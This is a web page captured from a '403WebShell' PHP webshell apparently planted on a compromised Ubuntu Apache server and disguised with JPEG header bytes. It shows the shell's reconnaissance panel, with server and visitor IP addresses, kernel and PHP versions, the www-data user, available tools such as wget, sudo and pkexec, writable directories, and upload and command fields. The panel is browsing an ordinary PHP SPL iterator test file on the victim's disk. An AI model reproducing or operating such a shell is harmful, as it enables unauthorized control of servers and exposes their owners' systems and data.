????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.117.85.73
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/iterator_047.phpt
--TEST--
SPL: RecursiveCachingIterator and exception in has/getChildren
--FILE--
<?php

class MyRecursiveArrayIterator extends RecursiveArrayIterator
{
	static public $fail = 0;

	static function fail($state, $method)
	{
		if (self::$fail == $state)
		{
			throw new Exception("State $state: $method()");
		}
	}

	function hasChildren()
	{
		echo __METHOD__ . "()\n";
		self::fail(1, __METHOD__);
		return parent::hasChildren();
	}

	function getChildren()
	{
		echo __METHOD__ . "()\n";
		self::fail(2, __METHOD__);
		return parent::getChildren();
	}
}

class MyRecursiveCachingIterator extends RecursiveCachingIterator
{
	function show()
	{
		MyRecursiveArrayIterator::$fail = 0;
		while(MyRecursiveArrayIterator::$fail < 4)
		{
			echo "===" . MyRecursiveArrayIterator::$fail . "===\n";
			try
			{
				foreach(new RecursiveIteratorIterator($this) as $k => $v)
				{
					var_dump($k);
					var_dump($v);
				}
			}
			catch (Exception $e)
			{
				echo "Exception: " . $e->getMessage() . " in " . $e->getFile() . " on line " . $e->getLine() . "\n";
			}
			MyRecursiveArrayIterator::$fail++;
		}
	}
}

$it = new MyRecursiveArrayIterator(array(0, array(10), 2, array(30), 4));
$it = new MyRecursiveCachingIterator($it);

$it->show();

?>
===DONE===
<?php exit(0); ?>
--EXPECTF--
===0===
MyRecursiveArrayIterator::hasChildren()
int(0)
int(0)
MyRecursiveArrayIterator::hasChildren()
MyRecursiveArrayIterator::getChildren()

Notice: Array to string conversion in %siterator_047.php on line %d
MyRecursiveArrayIterator::hasChildren()
int(0)
int(10)
MyRecursiveArrayIterator::hasChildren()
int(2)
int(2)
MyRecursiveArrayIterator::hasChildren()
MyRecursiveArrayIterator::getChildren()

Notice: Array to string conversion in %siterator_047.php on line %d
MyRecursiveArrayIterator::hasChildren()
int(0)
int(30)
MyRecursiveArrayIterator::hasChildren()
int(4)
int(4)
===1===
MyRecursiveArrayIterator::hasChildren()
Exception: State 1: MyRecursiveArrayIterator::hasChildren() in %s on line %d
===2===
MyRecursiveArrayIterator::hasChildren()
int(0)
int(0)
MyRecursiveArrayIterator::hasChildren()
MyRecursiveArrayIterator::getChildren()
Exception: State 2: MyRecursiveArrayIterator::getChildren() in %s on line %d
===3===
MyRecursiveArrayIterator::hasChildren()
int(0)
int(0)
MyRecursiveArrayIterator::hasChildren()
MyRecursiveArrayIterator::getChildren()

Notice: Array to string conversion in %siterator_047.php on line %d
MyRecursiveArrayIterator::hasChildren()
int(0)
int(10)
MyRecursiveArrayIterator::hasChildren()
int(2)
int(2)
MyRecursiveArrayIterator::hasChildren()
MyRecursiveArrayIterator::getChildren()

Notice: Array to string conversion in %siterator_047.php on line %d
MyRecursiveArrayIterator::hasChildren()
int(0)
int(30)
MyRecursiveArrayIterator::hasChildren()
int(4)
int(4)
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit